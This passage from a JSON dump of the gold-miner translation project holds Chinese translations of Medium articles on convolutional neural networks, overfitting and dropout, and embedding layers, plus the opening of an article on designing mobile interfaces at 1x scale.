[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n"
  },
  {
    "path": "TODO/deep-learning-2-convolutional-neural-networks.md",
    "content": "\n> * 原文地址：[Deep Learning 2: Convolutional Neural Networks](https://medium.com/towards-data-science/deep-learning-2-f81ebe632d5c)\n> * 原文作者：[Rutger Ruizendaal](https://medium.com/@r.ruizendaal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-2-convolutional-neural-networks.md](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-2-convolutional-neural-networks.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[edvardHua](https://github.com/edvardHua),[lileizhenshuai](https://github.com/lileizhenshuai)\n\n# 深度学习系列2：卷积神经网络\n\n## CNN 是怎么学习的？学习了什么？\n\n**这篇文章是深度学习系列的一部分。你可以在**[**这里**](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-1-setting-up-aws-image-recognition.md)**查看第一部分，以及在**[**这里**](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-3-more-on-cnns-handling-overfitting.md)**查看第三部分。**\n\n![](https://cdn-images-1.medium.com/max/1600/1*z7hd8FZeI_eodazwIapvAw.png)\n\n这一周，我们将探索卷积神经网络（CNN）的内部工作原理。你可能会问：在网络内部究竟发生了什么？它们是怎样学习的？\n\n这门课程遵循自上而下的学习方法与理念。因此一般来说，我们在开始学习的时候就能立即玩到所有的模型，然后我们会逐渐深入其内部的工作原理。因此，本系列也将会逐渐深入探索神经网络的内部工作原理。现在仅仅是第二周，让我们朝着最终的目标迈进吧！\n\n在上周，我在猫狗图像集上训练了 Vgg 16 模型。我想先聊一下为什么说使用预先训练好的模型是一种很好的方法。为了使用这些模型，首先你得要弄清楚这些模型到底学习的是什么。从本质上说，CNN 学习的是过滤器，并将学习到的过滤器应用于图像。当然，这些“过滤器”和你在 Instagram 里用的滤镜（英文也为“filter”）并不是一种东西，但它们其实有一些相同之处。CNN 会使用一个小方块遍历整张图片，通常将这个小方块称为“窗口”。接下来，网络会在图片中查找与过滤器匹配的图片内容。在第一层，网络可能只学习到了一些简单的事物（例如对角线）。在之后的每一层中，网络都将结合前面找到的特征，持续学习更加复杂的概念。单单听这些概念可能会让人比较迷糊，让我们直接来看一些例子。[Zeiler and Fergus (2013)](https://arxiv.org/abs/1311.2901) 为可视化 CNN 学习过程做出了一项很棒的工作。下图是他们在论文中用的 CNN 模型，赢得 Imagenet 竞赛的 Vgg16 模型就是基于这个模型做出来的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*vKyUGyRnJnZ3XOVVlvp80g.png)\n\nCNN，作者：Zeiler & Fergus (2013)\n\n可能你现在会觉得这个图片很难懂，请不要慌！让我们先从我们可以在图中看到的东西说起吧。首先，输入图像是正方形，大小为 224x224 像素。我之前说的过滤器大小是 7x7 像素大小。该模型有一个输入层，7 个隐藏层以及一个输出层。输出层的“C”指的是模型的预测分类数量。现在让我们来了解 CNN 中最有趣的部分：这个神经网络在每一层中都学到了什么！\n\n![](https://cdn-images-1.medium.com/max/1600/1*k57FsdDndnfb4FendDdnAw.png)\n\n上图为 CNN 的第二层。左边的图像代表了 CNN 的这层网络在右边的真实图片中学习到的内容。\n在 CNN 的第二层中，你可以发现这个模型已经不仅仅是去提取对角线了，它找到了一些更有意思的形状特征。例如在第二排第二列的方块中，你可以看到模型正在提取圆形；还有，最后一个方块表明模型正在专注于识别图中的一个直角作为特征。\n\n![](https://cdn-images-1.medium.com/max/1600/1*7J5H2D0WSRBnEvI-BXfONg.png)\n\n上图为 CNN 的第三层。\n在第三层中，我们可以看到模型已经开始学习一些更具体的东西。第一个方块中的图像表明模型已经能够识别出一些地理特征；第二排第二列的方块表明模型正在识别车轮；倒数第二个方块表明模型正在识别人类。\n\n![](https://cdn-images-1.medium.com/max/2000/1*QKxqFAp83WDU94N0a7AIpg.png)\n\nCNN 的第四层与第五层\n\n在最后，第四层与第五层保持前面模型越来越具体的趋势。第五层找到了对解决我们的猫狗问题非常有帮助的特征。与此同时，它还识别出了独轮车，以及鸟类、爬行动物的眼睛。请注意，这些图像仅仅展示了每一层学习到的东西的极小一部分。\n\n希望上面的文字已经告诉了你为什么使用预先训练好的模型是很有用的。如果你想更多的了解这块领域的研究，你可以搜索“迁移学习”（transfer learning）的相关内容。虽然我们的猫狗问题训练集仅仅只有 25000 张图片，一个新的模型可能还无法从这些图片中学习到所有的特征，但我们的 Vgg16 模型已经相当“了解”怎么去识别猫和狗了。最后，通过“微调”（Finetuning） Vgg16 模型的最后一层，让其不再输出 1000 多种分类的概率，而是直接输出二分类 —— 猫和狗。\n\n如果你对深度学习背后的数学知识感兴趣，[Stanford’s CNN pages](http://cs231n.github.io/) 是很好的参考材料。他们首次以“数学之美”解释了浅层神经网络。\n\n---\n\n#### 微调及线性层（全连接层）\n\n上周，我用这个预先训练好的 Vgg16 模型不能很自然的区分猫和狗这两个分类下的图片，而是提出了 1000 余种分类。此外，这个模型并不会直接输出“猫”和“狗”的分类，而是输出猫和狗的一些特定品种。那我们如何修改这个模型，让它能够有效地对猫和狗进行分类呢？\n\n有种可选方案：手动将这些品种分到猫和狗中去，然后计算其概率之和。但是，这种做法会丢弃一些关键信息。例如，如果图片中只有一根骨头，但它很可能是一张属于狗的照片。如果我们仅查看这些品种分为猫狗的概率，前面提到的这种信息很可能会丢失。因此在模型的最后，我们加入一个线性层（全连接层），它将仅输出两种分类。实际上，Vgg16 模型的最后有 3 层全连接层。我们可以微调这些层，通过反向传播来训练它们。反向传播算法常常被人看成是一种抽象的魔法，但其实它只是简单应用链式求导法则。你可以暂时忽略这些数学上的细节，TensorFlow、Theano 和其它深度学习库已经帮你做好了这些工作。\n\n如果你正在运行 Fast AI 课程 lesson 2 的 notebook，我建议你最好先只使用 notebook 的样例图片。如果你运行 p2 的实例，可能会由于保存、加载 numpy 数组将内存耗尽。\n\n---\n\n#### 激活函数\n\n前面我们讨论了网络最后的线性层（全连接层）。然而，神经网络的所有层都不是线性的。在神经网络计算出每个神经元的参数之后，我们需要将它们的计算结果作为参数输入到激活函数中。人工神经网络基本上由矩阵乘法组成，如果我们只使用线性计算的话，我们只能将它们一个个叠加在一起，并不能做成一个很深的网络。因此，我们会经常在网络的各层使用非线性的激活函数。通过将重重线性与非线性函数叠加在一起，理论上我们可以对任何事物进行建模。下面是三种最受欢迎的非线性激活函数：\n\n- Sigmoid **（将值转换到 0，1 间）**\n- TanH **（将值转换到 -1，1 间）**\n- ReLu **（如果值为负则输出 0，否则输出原值）**\n\n![](https://cdn-images-1.medium.com/max/1600/1*feheZP3rz5va0QVpi9DVNg.png)\n\n上图为最常用的激活函数：Sigmoid、Tanh 和 ReLu（又名修正线性单元）\n目前，ReLu 是使用的最多的非线性激活函数，主要原因是它可以减少梯度消失的可能性，以及保持稀疏特征。稍后会讨论这方面的更多详情。因为我们希望模型最后能够输出确定的内容，因此模型的最后一层通常使用一种另外的激活函数 —— softmax。softmax 函数是一种非常受欢迎的分类器。\n\n在微调完 Vgg16 模型的最后一层之后，它总共有 138357544 个参数。谢天谢地，我们不需要手动计算各种梯度 XD。下一周我们将更深入地了解 CNN 的工作原理，讨论主题为欠拟合和过拟合。\n\n如果你喜欢这篇文章，请将它推荐给其他人吧！你也可以关注此系列文章，跟上 Fast AI 课程的进度。下篇文章再会！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF)、[后端](https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF)、[产品](https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81)、[设计](https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/deep-learning-3-more-on-cnns-handling-overfitting.md",
    "content": "\n> * 原文地址：[Deep Learning-3-more-on-cnns-handling-overfitting](https://medium.com/towards-data-science/deep-learning-3-more-on-cnns-handling-overfitting-2bd5d99abe5d)\n> * 原文作者：[Rutger Ruizendaal](https://medium.com/@r.ruizendaal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-3-more-on-cnns-handling-overfitting.md](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-3-more-on-cnns-handling-overfitting.md)\n> * 译者：[曹真](https://github.com/lj147/)\n> * 校对者：[Lilei](https://github.com/lileizhenshuai) && [changkun](https://github.com/changkun)\n\n# 深度学习系列3 - CNNs 以及应对过拟合的详细探讨\n\n## 什么是卷积、最大池化和 Dropout？\n\n> 这篇文章是深度学习系列中一篇文章。请查看[#系列1](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-1-setting-up-aws-image-recognition.md)和[#系列2](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-2-convolutional-neural-networks.md)\n\n![数据增强（Data augmentation）是一种减少过拟合的方式。](https://cdn-images-1.medium.com/max/1600/1*GUvLnDB2Q7lKHDNiwLQBNA.png)\n\n\n 欢迎来到本系列教程的第三部分的学习！这周我会讲解一些卷积神经网络（Convolutional Neural Network, CNN）的内容并且讨论如何解决`欠拟合`和`过拟合`。\n\n#### **一、卷积（Convolution）**\n\n那么究竟什么是卷积呢？你可能还记得我之前的博客，我们使用了一个小的滤波器（Filter），并在整个图像上滑动这个滤波器。然后，将图像的像素值与滤波器中的像素值相乘。使用深度学习的优雅之处在于我们不必考虑这些滤波器应该是什么样的（神经网络会自动学习并选取最佳的滤波器）。通过随机梯度下降（Stohastic Gradient Descent,SGD），网络能够自主学习从而达到最优滤波器效果。滤波器被随机初始化，并且位置不变。这意味着他们可以在图像中找到任何物体。同时，该模型还能学习到是在这个图像的哪个位置找到这个物体。\n\n\n零填充（Zero Padding）是应用此滤波器时的有用工具。这些都是在图像周围的零像素的额外边框 —— 这允许我们在将滤镜滑过图像时捕获图像的边缘。你可能想知道滤波器应该多大，研究表明，较小的滤波器通常表现更好。在这个例子当中，我们使用大小为 3x3 的滤波器。\n\n当我们将这些滤波器依次滑过图像时，我们基本上创建了另一个图像。因此，如果我们的原始图像是 30x 30 ，则带有12个滤镜的卷积层的输出将为 30x30x12 。现在我们有一个张量，它基本上是一个超过 2 维的矩阵。现在你也就知道 TensorFlow 的名字从何而来。\n\n在每个卷积层（或多个）之后，我们通常就得到了最大池化（Max pooling）层。这个层会减少图像中的像素数量。例如，我们可以从图像中取出一个正方形然后用这个正方形里面像素的最大值代替这个正方形。\n![最大池化](https://cdn-images-1.medium.com/max/1600/1*GksqN5XY8HPpIddm5wzm7A.jpeg)\n \n得益于最大池化，我们的滤波器可以探索图像的较大部分。另外，由于像素损失，我们通常会增加使用最大池化后的滤波器数量。\n理论上来说，每个模型架构都是可行的并且为你的问题提供一个很好的解决方案。然而，一些架构比其他架构要快得多。一个很差的架构可能需要超过你剩余生命的时间来得出结果。因此，考虑你的模型的架构以及我们为什么使用最大池并改变所使用的滤波器的数量是有意义的。为了在 CNN 上完成这个部分，[这个](http://yosinski.com/deepvis#toolbox)页面提供了一个很好的视频，可以将发生在 CNN 内部的事情可视化。\n\n\n#### 二、欠拟合 vs. 过拟合\n\n你如何知道你的模型是否欠拟合？ 如果你的验证集的准确度高于训练集，那就是模型欠拟合。此外，如果整个模型表现得不好，也会被称为欠拟合。例如，使用线性模型进行图像识别通常会出现欠拟合的结果。也有可能是  Dropout（Dropout）的原因导致你在深层神经网络中遇到欠拟合的情况。\nDropout 在模型训练时随机将部分激活函数设置为零（让网络某些隐含层节点的权重不工作），以避免过拟合。这种情况一般不会发生在验证/测试集的预测中，如果发生，你可以移除 `Dropout`来解决。如果模型现在出现大规模的过拟合，你可以开始添加小批量的 `Dropout`。\n\n\n \n\n> 通用法则：从过度拟合模型开始，然后采取措施消除过拟合。\n\n当你的模型过度适合训练集时，就会发生过拟合。那么模型将难以泛化从而无法识别不在训练集中的新例子。例如，你的模型只能识别你的训练集中的特定图像，而不是通用模型，同时你在训练集上的准确性会高于验证/测试集。那么我们可以通过哪些方法来减少过拟合呢？\n\n**减少过拟合的步骤**\n\n1. 添加更多数据\n2. 使用数据增强\n3. 使用泛化性能更佳的模型结构\n4. 添加正规化（多数情况下是 Dropout，L1 / L2正则化也有可能）\n5. 降低模型复杂性。\n \n第一步当然是采集更多的数据。但是，在大多数情况下，你是做不到这一点的。这里我们先假定你采集到了所有的数据。下一步是数据增强：这也是我们一直推荐使用的方法。\n\n数据增强包括随机旋转图像、放大图像、添加颜色滤波器等等。 \n\n数据增加只适用于训练集而不是验证/测试集。检查你是不是使用了过多的数据增强十分有效。例如，如果你那一只猫的图片放大太多，猫的特征就不再可见了，模型也就不会通过这些图像的训练中获得更好的效果。下面让我们来探索一下数据增强！\n\n对于 Fast AI 课程的学习者：请注意教材中使用 “width_zoom_range” 作为数据扩充参数之一。但是，这个选项在 Keras 中不再可用。\n\n![原始图像](https://cdn-images-1.medium.com/max/1600/1*GqYnzBWEC0L8ehpMcwtkhw.png)\n\n现在我们来看看执行数据增强后的图像。所有的“猫”仍然能够被清楚地识别出来。\n\n![数据增强之后的图像](https://cdn-images-1.medium.com/max/1600/1*ozrEhNk2ONPXo4qDQjKPKw.png)\n\n第三步是使用泛化性能更佳的模型结构。然而，更重要的是第四步：增加正则化。三个最受欢迎的选项是：Dropout，L1 正则化和 L2 正则化。我之前提到过，在深入的学习中，大部分情况下你看到的都是 Dropout 。Dropout 在训练中删除随机的激活样本（使其为零）。在 Vgg 模型中，这仅适用于模型末端的完全连接的层。然而，它也可以应用于卷积层。要注意的是，Dropout 会导致信息丢失。如果你在第一层失去了一些信息，那么整个网络就会丢失这些信息。因此，一个好的做法是第一层使用较低的Dropout，然后逐渐增加。第五个也是最后一个选择是降低网络的复杂性。实际上，在大多数情况下，各种形式的正规化足以应付过拟合。\n\n![Dropout可视化](https://cdn-images-1.medium.com/max/1600/1*yIGb-kfxCAK0xiXipo6utA.png)\n> 左边是原来的神经网络，右边是采用 Dropout 后的网络\n\n\n\n#### **三、批量归一化（Batch Normalization ）**\n\n\n最后，我们来讨论批量归一化。这是你永远都需要做的事情！批量归一化是一个相对较新的概念，因此在 Vgg 模型中尚未实现。\n\n如果你对机器学习有所了解，你一定听过标准化模型输入。批量归一化加强了这一步。批量归一化在每个卷积层之后添加“归一化层”。这使得模型在训练中收敛得更快，因此也允许你使用更高的学习率。\n\n简单地标准化每个激活层中的权重不起作用。随机梯度下降非常顽固。如果使得其中一个比重非常高，那么下一次训练它就会简单地重复这个过程。通过批量归一化，模型可以在每次训练中调整所有的权重而非仅仅只是一个权重。\n\n#### **四、MNIST 数字识别**\n\n[MNIST](http://yann.lecun.com/exdb/mnist/)手写数字数据集是机器学习中最着名的数据集之一。数据集也是一个检验我们所学 CNN 知识的很好的方式。[Kaggle](https://www.kaggle.com/c/digit-recognizer)也承载了 MNIST 数据集。这段我很快写出的代码，在这个数据集上的准确度为96.8％。\n \n\n    import pandas as pd\n    from sklearn.ensemble import RandomForestClassifier\n\n    train = pd.read_csv('train_digits.csv')\n    test = pd.read_csv('test_digits.csv')\n\n    X = train.drop('label', axis=1)\n    y = train['label']\n\n    rfc = RandomForestClassifier(n_estimators=300)\n    pred = rfc.fit(X, y).predict(test)\n\n\n然而，配备深层 CNN 可以达到 99.7％ 的效果。本周我将尝试将 CNN 应用到这个数据集上，希望我在下周可以报告最新的准确率并且讨论我所遇到的问题。\n\n如果你喜欢这篇文章，欢迎推荐它以便其他人可以看到它。您还可以按照此配置文件跟上我在快速AI课程中的进度。到时候见！\n\n> [译者](https://github.com/lj147/)注： 翻译本文的时候，我事先查阅了一些资料以保证对于原文有更好的理解，但是由于个人水平有限等等原因，有些地方表达的不甚清楚，同时还添加了一定的辅助参考信息以更好的说明问题。若读者在译文中发现问题，欢迎随时与我联系或提 issue。\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n\n"
  },
  {
    "path": "TODO/deep-learning-4-embedding-layers.md",
    "content": "\n> * 原文地址：[Deep Learning 4: Why You Need to Start Using Embedding Layers](https://medium.com/towards-data-science/deep-learning-4-embedding-layers-f9a02d55ac12)\n> * 原文作者：[Rutger Ruizendaal](https://medium.com/@r.ruizendaal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-4-embedding-layers.md](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-4-embedding-layers.md)\n> * 译者：[Tobias Lee](http://tobiaslee.top)\n> * 校对者：[LJ147](https://github.com/LJ147)、[changkun](https://github.com/changkun)\n\n# 深度学习系列4:  为什么你需要使用嵌入层\n\n## 除了词嵌入以外还有很多\n\n![](https://cdn-images-1.medium.com/max/2000/1*sXNXYfAqfLUeiDXPCo130w.png)\n\n**这是深度学习系列的其中一篇，其他文章地址如下**\n\n1. [设置 AWS & 图像识别](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-1-setting-up-aws-image-recognition.md)\n2. [卷积神经网络](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-2-convolutional-neural-networks.md)\n3. [CNNs 以及应对过拟合的详细探讨](https://github.com/xitu/gold-miner/blob/master/TODO/deep-learning-3-more-on-cnns-handling-overfitting.md)\n\n---\n\n欢迎阅读深度学习系列的第四部分，你可能注意到这一篇和前面三篇文章之间隔了一小段时间。我写这个系列最初的目的是想记录 fast.ai 上的深度学习课程，然而后面一部分课程的内容有所重叠，所以我决定先把课程完成，这样我能够更为细致地从整体上来把握这些主题。在这篇文章里我想介绍一个在很多节课中都有涉及，并且在实践中被证明非常有用的一个概念：嵌入层（Embedding layer）。\n\n介绍嵌入层这个概念可能会让它变得更加难以理解。比如说，Keras 文档里是这么写的：“把正整数（索引）转换为固定大小的稠密向量”。你 Google 搜索也无济于事，因为文档通常会排在搜索结果的第一个（你还是不能获得更加详细的解释）。然而，从某种意义上来说，Keras 文档的描述是正确的。那么为什么你应该使用嵌入层呢？这里有两个主要原因：\n\n1. 独热编码（One-hot encoding）向量是高维且稀疏的。假如说我们在做自然语言处理（NLP）的工作，并且有一个包含 2000 个单词的字典。这意味着当我们使用独热编码时，每个单词由一个含有 2000 个整数的向量来表示，并且其中的 1999 个整数都是 0。在大数据集下这种方法的计算效率是很低的。\n2. 每个嵌入向量会在训练神经网络时更新。文章的最上方有几张图片，它们展示了在多维空间之中，词语之间的相似程度，这使得我们能够可视化词语之间的关系。同样，对于任何能够通过使用嵌入层而把它变成向量的东西，我们都能够这么做。\n\n嵌入层这个概念可能还是有点模糊，让我们再来看嵌入层作用在词语上的一个例子。嵌入这个概念源自于词嵌入（Word embedding），如果你想了解更多的话可以看看 [word2vec](https://arxiv.org/pdf/1301.3781.pdf) 这篇论文。让我们用下面这个句子作为例子（随便举的一个例子，不用太认真对待）：\n\n> “deep learning is very deep”\n\n使用嵌入层的第一步是通过索引对这个句子进行编码，在这个例子里，我们给句中每个不同的词一个数字索引，编码后的句子如下所示：\n\n> 1 2 3 4 1\n\n下一步是创建嵌入矩阵。我们要决定每个索引有多少“潜在因素”，这就是说，我们需要决定词向量的长度。一般我们会使用像 32 或者 50 这样的长度。出于可读性的考虑，在这篇文章里我们每个索引的“潜在因素”个数有 6 个。那么嵌入矩阵就如下图所示：\n\n![](https://cdn-images-1.medium.com/max/1600/1*Di85w_0UTc6C3ilk5_LEgg.png)\n\n嵌入矩阵\n\n所以，和独热编码中每个词向量的长度相比，使用嵌入矩阵能够让每个词向量的长度大幅缩短。简而言之，我们用一个向量 [.32, .02, .48, .21, .56, .15]来代替了词语“deep”。然而并不是每个词被一个向量所代替，而是由其索引在嵌入矩阵中对应的向量代替。再次强调，在大数据集中，这种方法的计算效率是很高的。同时因为在训练深度神经网络过程中，词向量能够不断地被更新，所以我们同样能够在多维空间中探索各个词语之间的相似程度。通过使用像 [t-SNE ](https://lvdmaaten.github.io/tsne/) 这样的降维技术，我们能够把这些相似程度可视化出来。\n\n![](https://cdn-images-1.medium.com/max/1600/1*m8Ahpl-lpVgm16CC-INGuw.png)\n\n通过 t-SNE 可视化的词嵌入（向量）\n\n---\n\n### 不仅仅是词嵌入\n\n前面的例子体现了词嵌入在自然语言处理领域重要的地位，它能够帮助我们找到很难察觉的词语之间的关系。然而，嵌入层不仅仅可以用在词语上。在我现在的一个研究项目里，我用嵌入层来嵌入网上用户的使用行为：我为用户行为分配索引，比如“浏览类型 X 的网页（在门户 Y 上）”或“滚动了 X 像素”。然后，用这些索引构建用户的行为序列。\n\n深度学习模型（深度神经网络和循环神经网络）和“传统”的机器学习模型（支持向量机，随机森林，梯度提升决策树）相比，我觉得嵌入方法更适用于深度神经网络。\n\n“传统”的机器学习模型，非常依赖经过特征工程的表格式的输入，这意味着需要我们研究者来决定什么是一个特征。在我的那个项目里，作为特征的有：浏览的主页数量、搜索的次数、总共滚动的像素。然而，在特征工程时，我们很难把时间维度方面的特征考虑进去。利用深度学习和嵌入层，我们就能够把用户行为序列（通过索引）作为模型的输入，从而有效地捕捉到时间维度上的特征。\n\n在我的研究中，使用 GRU（Gated Recurrent Unit）或者是 LSTM（Long-Short Term Memory）技术的循环神经网络表现地最好，它们的结果很接近。在“传统” 的需要特征工程的模型中，梯度提升决策树表现地最好。关于我的研究项目，我以后会写一篇文章，我的下一篇文章会更细致地讨论关于循环神经网络的问题。\n\n其他还有使用嵌入层来编码学生在慕课上行为的例子（Piech et al., 2016），以及用户浏览在线时尚商店的点击顺序（Tamhane et al., 2017）。\n\n---\n\n#### 推荐系统\n\n嵌入层甚至可以用来处理推荐系统中的稀疏矩阵问题。在 fast.ai 的深度学习课程中利用推荐系统来介绍了嵌入层，这里我也想谈谈推荐系统。\n\n推荐系统已经广泛地应用在各个领域了，你可能每天都被它们所影响着。亚马逊的产品推荐和 Netflix  的节目推荐系统，是两个最常见的例子。Netflix 举办了一个奖金为一百万美元的比赛，用来寻找最适合他们推荐系统的协同过滤算法。你可以在[这里](http://abeautifulwww.com/wp-content/uploads/2007/04/netflixAllMovies-blackBack3[5].jpg)看到其中一个模型的可视化结果。\n\n推荐系统主要有两种类型，区分它们是很重要的。\n\n1. 基于内容过滤：这种过滤是基于物品或者是产品的数据的。比如说，我们让用户填一份他们喜欢的电影的表格。如果他们说喜欢科幻电影，那么我们就给他推荐科幻电影。这种方法需要大量的对应产品的元数据。\n2. 协同过滤：找到和你相似的人，假设你们的爱好相同，看看他们喜欢什么。和你相似的人，意味着他们对你看过的电影有着相似的评价。在大数据集中，这个方法和元数据方法相比，效果更好。另外一点很重要的是，询问用户他们的行为和观察他们实际的行为之间是有出入的，这其中更深沉次的原因需要心理学家来解释。\n\n为了解决这个问题，我们可以创建一个巨大的所有用户对所有电影的评价矩阵。然而，在很多情况下，这个矩阵是非常稀疏的。想想你的 Netflix 账号，你看过的电影占他们全部电影的百分之多少？这可能是一个非常小的比例。创建矩阵之后，我们可以通过梯度下降算法训练我们的神经网络，来预测每个用户会给每部电影打多少分。如果你想知道更多关于在推荐系统中使用深度学习的话，请告诉我，我们可以一起来探讨更细节的问题。总而言之，嵌入层的作用是令人惊讶的，不可小觑。\n\n如果你喜欢这篇文章，请把它推荐给你的朋友们，让更多人的看到它。你也可以按照这篇文章，跟上我在 Fast AI 课程中的进度。到时候那里见！\n\n#### 参考文献\n\nPiech, C., Bassen, J., Huang, J., Ganguli, S., Sahami, M., Guibas, L. J., & Sohl-Dickstein, J. (2015). *Deep knowledge tracing. In Advances in Neural Information Processing Systems* (pp. 505–513).\n\nTamhane, A., Arora, S., & Warrier, D. (2017, May). *Modeling Contextual Changes in User Behaviour in Fashion e-Commerce*. In Pacific-Asia Conference on Knowledge Discovery and Data Mining (pp. 539–550). Springer, Cham.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/design-at-1x-its-a-fact.md",
    "content": ">* 原文链接 : [Design at 1x—It’s a Fact](https://medium.com/shyp-design/design-at-1x-its-a-fact-249c5b896536)\n* 原文作者 : [Kurt Varner](https://medium.com/@kurtvarner)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [wildflame](https://github.com/wild-flame/)\n* 校对者: [tanglie1993](https://github.com/tanglie1993/),[llp0574](https://github.com/llp0574)\n\n# 移动开发中用 1x 视觉稿设计的好处\n\n那我就开门见山了：我确信你们很多人都已经知道 1x 设计的好处了。但是呢，言语和风声总不会那么一致。在移动设备上，到底是使用 1x 设计稿更好，还是 2x 设计稿，一直没有达成共识。\n\n#### 背景简述\n\n当我刚加入 [Shyp](http://shyp.com) 的时候，我们为 iOS 进行 2x 分辨率的设计，而为 Anrdroid 端进行 3x (xxhdpi) 的设计，那段回忆简直像一坨屎一样。我们到底为什么要这样做？\n\n1.  进行低像素，非 retina 的设计是反直觉的。实际上，我已经有很长时间没有见过 iPhone 3GS 了。\n2.  那时，1：1 比例的设计使我们可以很方便的在设备上预览我们的草稿，我们使用 iPhone 5 和 Nexus 5 来做测试，那些低于 2x 和 3x 的设计稿，在屏幕上都是模糊不清的。\n3.  抗拒改变 — 正因为我们所有的设计都是 2x，重新设计他们是一份费力的事情。（后来我们把它们全部重新设计成 1x 了）\n\n这些理由真令人伤感，但却都不能和 1x 设计的好处相媲美。\n\n### 使用 1x 视觉设计稿的 7 条理由\n\n关于到底是 1x 设计更好，还是 2x 设计更好其实已经没必要再争论了。鉴于我从没见过任何一个关于 1x 好处的列举，我把这些好处在下面列出来了。\n\n### 1\\. 不用数学\n\n如果你要设计非 1x 的设计稿，那么你就要步入那条无休无止的为不同分辨率转换像素尺寸的道路了。\n\n不信啊，你上呗 —— 在 2x 分辨率下把这些下面这些 pixel 转换到 point：36px 的字体大小，左右各是 40px 内边距，上下则是 20px。你算完了，好那在 3x 分辨率下面再试一次吧。\n\n你觉得这一切很有趣吗？\n\n并不，我也一样。而且如果像素还不是偶数的话，那简直是一场灾难。“那啥，请在那上面加上 16.66pt 的缩进。”\n\n### 2\\. IOS 与 Android 保持一比一的比例\n\n额的神啊。这节省了多少时间。所有的设计都在 iOS 和 Android 之间无缝衔接，字体大小，图标，空白。你懂的，就是那些设计指南里的好东西，非常容易的就重用上了。\n\n### 3\\. 导出直观\n\n好了，现在假设我在按 2x 来设计稿子，并且打算把它导出为资源 (assets) 。对于 iOS，你需要按照 .5x、1x 和1.5x 导出（实际上是 1x、2x 和 3x）。毫无逻辑可言。对于 Android 来说，则有五个不同的值，即 .5x、.75x、1x、1.5x、2x（实际上是1x、1.5x、2x、3x、4x）。\n\n当你按照 1x 设计时，事情就变简单了，1x 就是 1x，\n\n下面是在 Sketch 里面 1x 设计稿和 2x 设计稿的导出界面的比较：\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5l6ixmm78j20m80own0l.jpg)\n\n### 4\\. 跟工程师们使用同样的标称\n\n<span class=\"markup--quote markup--p-quote is-other\" data-creator-ids=\"anon\">你的设计难道不应该和写代码实现它的人在相同的次元么？是的，当然应该。工程师们都用 point，不用 pixel。</span>\n\n[Jiashu Wang](https://twitter.com/jiashuw)，Shyp 的一个 iOS 工程师对这个问题是这样回复的：\n\n> 工程师用 point（不用 pixel），所以 1x 的 Sketch 设计对我们来说刚刚好，我们可以直接在 Sketch 里面找到需要的值而不需使用比例系数（scale factors）。\n\n> 比方说，如果用 2x 的 Sketch 文件，iOS 工程师就会按照下面的步骤执行：\n> —— 在 sketch 里查看一个 UI 元素的值，比方说是 50\n> —— 接下来开始算：50（元素在 sketch 里的值）/ 2（设计稿对应的系数）=\n> —— 在代码里写上 25。\n\n> 现在，我们用 `1x` ，我们看到 25 ，就是 25。\n\n_（作者注：是的，我们的工程师直接用 